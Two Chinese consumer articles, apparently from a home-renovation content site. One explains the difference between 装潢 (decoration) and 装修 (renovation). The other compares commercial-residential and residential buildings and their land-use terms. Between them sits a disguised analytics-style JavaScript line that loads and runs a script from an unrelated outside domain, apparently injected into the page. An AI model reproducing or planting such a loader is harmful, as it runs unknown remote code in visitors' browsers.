装潢和装修的区别是什么 很多人都不知道

装潢和装修两个词就像是一对“双胞胎兄弟”一样，大多数时候都是一起出现的，甚至有些百科词语收录中，这两者的意思也差不多，于是很多人都认为装潢和装修是同样的意思，其实这是一个错误的认知。那么装潢和装修两者的区别是什么呢？简单来说，就是大动和小动的区别，下面就具体给大家对比区分一下。其实装潢和装修虽有本质上的区别，但区别细微。首先，装修相信大家都知道，装修就是让毛坯房变成能住人的房子的过程，这个过程不免要有很多大动作，比如拆墙补墙、挖洞填坑等等对建筑结构进行的拆、改、换、造等项目的施工工程都可以叫做装修，对房子进行改造时，装修也是所有其他动作的基础，是需要在装潢之前进行的。而装潢的意思则比较靠近装饰，它的本意是指“器物或商品外表”的修饰，相对于装修是着重于结构，装潢更为着重于外表，有点锦上添花的意味。在大体装修完成后，进行家具的刷漆、各房间地面瓷砖的铺设、墙面的粉饰、各处灯管吊灯的安装以及各装修材料的挑选等等面子工作都是属于装潢的分内工作。可以说，装修是使房子初具雏形，布局和设计有了基调，而装潢是在此基础上对房间进行上色、美化和点缀。装潢和装修一般是先后进行的，相辅相成，只有两者都完成了的房子才是一个成品。而且现如今大部分的装修公司装修也是都包含了装潢这个步骤，两个词都是对房间进行改造，意思虽有差别其实也差得不大，就算是对这两个词有些混淆也是情有可原的。以上就是对于装潢和装修区别的解读。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

商住与住宅的区别是什么、商住楼产权是多少年

在实际购置房产的过程中或者是接触房地产相关方面专业知识的时候，我们可能会发现有许多定义，表面看上去很类似，但是实际上其含义却大大有所区别，比如下文举例的商住房以及住宅楼，它们就是容易被混淆的两种概念，那么今天小编为大家举例的就是对比方面的知识，由此也可以帮助我有意向了解的朋友进一步学习，避免在后期操作的过程中因为混淆导致的麻烦。一、商住与住宅的区别是什么商住可以注册公司,而住宅不可以。住宅是指专供居住的房屋，包括别墅、公寓、职工家属宿舍和集体宿舍、职工单身宿舍和学生宿舍等。但不包括住宅楼中作为人防用、不住人的地下室等，也不包括托儿所、病房、疗养院、旅馆等具有专门用途的房屋。《中华人民共和国宪法》第39条：中华人民共和国公民的住宅不受侵犯。土地年限不同,住宅最长70年,商住最长综合用地50年。商住楼是指该楼的使用性质为商、住两用，商住楼一般底层(或数层)为商场、商店、商务，其余为住宅的综合性大楼。商住楼不分建设主体，不仅开发商可以建，非开发企业、个人也可以建，没有规定必须出售。商住楼的土地使用性质为综合用地，根据国家土地法规定，综合土地的使用权年限为50年。商住一般而言土地性质是综合用地,房屋性质是综合,现在新开发的商品房不会出现这种产权不清晰的情况。商住楼和住宅楼的区别是商住楼应用为商、住两种类型。而住在楼应用为专供居住的。从而在法律保护中也形成了两种不同的法律。二、什么是商住楼商住楼产权是多少年不可否认的是，商住楼作为一种特殊的住宅形式，也有它的弊端。从结构上说，随着高度的增加，地震造成的危害性也随之增加，因此，国家对商住楼的高度和层数都有严格要求。商住楼的底部为商店，或多或少会给楼上居民带来影响。一些人利用商住楼位于街道两则，交通便利的优势，利用底商从事餐饮、洗染等行业，这些行业在工作时会排放出大量的油烟和高温气体，而一般商住楼没有专门的排烟口和保温、隔热措施，还有人从事铝合金加工或摩托车、汽车修理等产生噪音较大的行业，这些都会对楼上和附近居民的日常生活带来影响，产生纠纷。商住楼产权使用年限：根据《中华人民共和国城镇国有土地使用权出让和转让暂行条例》(一九九0年五月十九日中华人民共和国国务院令第五十五号发布自发布之日起施行)第十二条商住楼产权土地使用权出让较高年限按下列用途确定：一)居住用地七十年;二)工业用地五十年;三)教育、科技、文化、卫生、体育用地五十年;四)商业、旅游、娱乐用地四十年;五)综合或者其他用地五十年。例子：一般商住楼产权是多少年的?开放商是按照主宅来卖的，张某问了他们说产权是70年，但是张某好像听说这个楼下面两层是商铺，所以归结为商住楼?请问如果是商住楼，我们是买上面的房子的，住宅用的，产权是多少年?答：张某的商住楼产权住宅是70年的，一、二楼商住楼产权的商铺是40年的,商住楼产权你的产权和商铺的产权的完全独立分开的。通过上文的举例以及分析我们可以得知商住和住宅虽然在字面上看来很是相似，而且只是相差了一个字而已，但是实际上两者的概念还是有所区别的，并且我们可以发现如果消费者在购置的过程中因为混淆了两者的概念或者因为不清楚而导致选择失误，那么很有可能会在发生后续一系列的麻烦，甚至造成自己多方面的损失。因此，我们很有必要结合上文的专业知识以及自己的实际情况进行学习。